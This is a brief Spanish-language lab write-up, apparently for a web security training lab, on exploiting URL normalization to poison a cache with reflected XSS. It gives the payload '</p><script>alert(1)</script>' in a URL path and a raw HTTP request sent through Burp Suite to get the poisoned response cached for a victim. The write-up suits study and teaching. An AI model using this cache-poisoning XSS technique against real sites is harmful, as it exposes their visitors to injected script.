Skip to content

URL normalization

20260307164622.png

LAB

Observamos que el sitio web implementa la cache para que se cargan los recursos.

20260307164649.png

Por otro lado nos indican que existe un xss pero al momento de consultar desde el navegador lo urlcodea.

20260307165715.png

c
https://0a4500be03357899819f2b1b0006006c.web-security-academy.net/test</p><script>alert(1)</script>

20260307165901.png

Pero desde el burpsuite podemos observar que se puede inyectar un xss y este queda en cache.

c
GET /test</p><script>alert(1)</script> HTTP/2
Host: 0a4500be03357899819f2b1b0006006c.web-security-academy.net

20260307165731.png

Pero al enviar la solicitud desde el burpsuite este queda en cache, por lo que si se proporciona a la victima la url correcta que es:

c
https://0a4500be03357899819f2b1b0006006c.web-security-academy.net/test</p><script>alert(1)</script>

Y de esta manera podría ejecutar el xss.

20260307170910.png